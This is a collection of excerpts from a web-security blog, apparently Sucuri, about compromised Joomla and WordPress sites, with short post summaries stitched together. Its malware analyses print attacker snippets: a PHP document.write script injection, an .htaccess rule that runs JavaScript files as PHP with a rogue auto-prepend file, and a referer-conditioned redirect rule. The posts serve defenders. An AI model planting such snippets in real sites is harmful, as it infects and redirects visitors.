From a Site Compromise to Full Root Access – Symlinks to Root – Part I

When an attacker manages to compromise and get access to a website, they won’t likely stop there, they will aim to gain full root (admin) access to the entire server. If there are more websites hosted on the server being attacked, It is likely they will attempt to compromise every single one of them.

How can an attacker escalate their privileges? How can they go from FTP-only access to getting root on the server? In this series of articles we will show some techniques that attackers are using to go from confined FTP/web access, to full root level access on a server.

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Sneaky Joomla Web Malware – JavaScript Infections

So the past week has been interesting, we have been having fun with a few JavaScript infections that really forced us to put on our thinking hats. Our Senior Malware Engineer, Fioravante Cavallari, actually found the payload and dissected it – thank goodness for products based on human-intelligence. It was so interesting that we felt compelled to write about it. It very accurately represents an evolution in the types of attacks we’re seeing, specifically as to the their creative nature.

If it were 24 months ago, JavaScript infections would be straight forward. They would be right in the JavaScript file, usually leveraging the document.write object or something similar. Take it back 12 months and we’d see the introduction of the rogue Apache modules, maybe not the introduction but when they were becoming more common place, generating the same injections. Granted, both of these approaches are still actively used today, but now we start adding things like the self-licking ice cream cone approach we wrote about and today’s scenario, which we’ll coin, adding junk to the trunk.

So What’s the Scenario?!?

In retrospect, it’s very simple. Append the payload to the file, hence adding junk to the trunk, similar in concept to what we are seeing with the Apache modules, but leveraging .htaccess.

This is how they are doing it:


They have a payload on the server that is anything but the normal files you’d expect, i.e., HTML, JS, PHP, CSS, etc.., in this scenario it was a ShockWaveFile (.swf):

if (!$_COOKIE['utmzz'])
header('Content-Type: application/x-javascript');
document.write('<script type="text/javascript" src="[some not so nice payload]"></script>');
header('Content-Type: application/x-javascript');


You then auto_append that rogue file to all JS files, oh which by the way, you treat as PHP:

<files ~ "\.js$">
SetHandler application/x-httpd-php
php_value auto_prepend_file [path to your rogue file]
php_flag display_errors Off

Keeping it Simple

Just like that, the attacker is able to append bad payloads to all your JavaScript files. All the while, you spend your valuable time looking through all your JS files, pulling your hair out, and low and behold, it’s not in the files. Yes, very annoying, I know. In any event, right now we’re seeing these types of attacks on Joomla sites more than any CMS.

I wouldn’t place too much thought into that, let’s keep the drama low folks. I don’t think it’s for any reason other than different breeds of attackers. Some groups are more particular to one platform over another and as they come up with tactics it spreads, at some point it jumps the fence and it’ll only be a matter of time before other platforms start seeing similar attack patterns.

Don’t Forget About Cache!!

When cleaning up the mess, removing the .htaccess and the bad rogue file alone won’t do the trick. It’s already been appended to all your files and in Joomla that means you have to use the core tools to purge all your files – easiest way. If you were to navigate to the site directly you, and your visitors, would still get hit with the JavaScript payload. So, log into your administrator panel and purge all the cached files via tools menu options.


If you find yourself in a similar situation send us a note at Or sign up and we’ll get things situated,

Dealing with WordPress Malware

A few months back I contributed to a post with Smashing Magazine on the top 4 WordPress Infections, it was released yesterday, and it couldn’t have been at a better time. If any one attended WordCamp Las Vegas you might even find some similarities. Fortunately in the process of preparing for the event and working with the team, we were able to compile a bit more information expanding on the things we originally discussed in the last post. It’s perfect timing for a number of reasons, and will complement this post very nicely.

WordPress Malware
The idea of this post, like many in the past, is to outline and discuss this past weekend’s presentation. In the process, hopefully you take something away. Unfortunately, the presentation was capped off with a live attack and hack, and I won’t be able to include that in this post, but I promise it’s coming.

**Note: If you plan to be at WordCamp Philadelphia 2012 you might be in for some treats, just saying. And if you don’t have it on the calendar, you should.

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SiteCheck – Got Blackhat SEO Spam Warning?

As of late it seems like we’re talking about a lot of SPAM related cases, this post will be no different.

Blackhat SEO

Before you start, let me preface this by saying that clearing a Blackhat SEO Spam injection is probably the biggest PITA (Google It) infection there is. They constantly evolve, making them difficult to detect and they employ both new and old techniques that, even after years, still prove to be annoying. This post will demonstrate one such case.

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Redirection Malware Very Good Leads to Fake AV

If you look at our Labs malware dump for the last few days, you will find something odd in the name of the top domains distributing malware:

712 redirections
154 redirections
135 redirections
131 redirections
88 redirections

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Sucuri SiteCheck – Web Malware Distribution – May 2012

Last month ( May 2012), we were able to identify 94,866 compromised (hacked) websites using our free SiteCheck scanner.

These were the top infections per distribution type (iframes and conditional redirections). A comparison to April can be seen here – Sucuri SiteCheck – Web Malware Distribution – April 2012):

You can more closely follow the daily activity in our labs by following Sucuri Labs and monitoring the Sucuri Labs page.

Conditional (often htaccess) redirections:

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Websites Compromised with Fake AV Campaign (Windows Web Secure Kit)

“To help protect your computer, Windows Web Secure Kit have detected trojans and is ready to remove them”. We are seeing many WordPress sites compromised with a malware redirecting users to the “Windows Web Secure Kit” fake/rogue anti virus. So if you get that message when visiting your (or any site), you know that it is likely compromised by it.

What is going on?

Once a site gets compromised, the .htaccess file gets modified to redirect users running Windows and coming from search engines to some russian sites: OR OR OR many others

Which then redirects the user to some intermediate sites (also .ru):

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Malware Redirecting To

We are seeing a large number of sites compromised with a conditional redirection to the domain (

On all the sites we analyzed, the .htaccess file was modified so that if anyone visited the site from Google, Bing, Yahoo, or any major search engine (by checking the referer), it would get redirected to that malicious domain (

This is what gets added to the .htaccess file of the hacked sites:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo).*$ [NC]
RewriteRule .* [R,L]

Google is already blacklisting it and so far it found that it was used to compromise 787 domains (but the number is probably bigger, since that domain just went live 3 days ago – Jan 29):

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 787 domain(s), including,,

What is very interesting is that this malware is hosted at the same IP address as other domains that were used in .htaccess attacks in the past, so we think it is all done by the same group:
.. few more domains ..

We will be monitoring how it is growing and we will post more details soon.

If your site is compromised, check your .htaccess to see if it was modified. If you are not sure, run a scan on your site here:

DreamHost Security Issue Prompts FTP Password Resets

Yesterday on the DreamHost Status Blog, it was announced that all shell/FTP passwords would be reset due to what looks to be a security breach that was discovered on one of the DreamHost database servers.

DreamHost Security BreachDreamHost looks to have done a great job notifying affected customers via the update page, keeping them up-to-date throught out the day until the issue was resolved. It looks like all FTP passwords were indeed reset.

We recommend that all DreamHost customers log into to their accounts and check their account status. It is encouraged that you change your account passwords, and it wouldn’t hurt to change your FTP and database passwords again just to make sure.

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The New (and Old) .htaccess Attacks – Now Using .in Domains

We have been talking about .htaccess redirections for a while. A site gets compromised and the attackers modify the .htaccess file(s) to redirect any search engine traffic to a different (malicious) page that attempts to compromise the browser / computer of anyone visiting the site.

For the most part, the attackers have been using .ru domains to distribute the malware. Here are some of the domains used:

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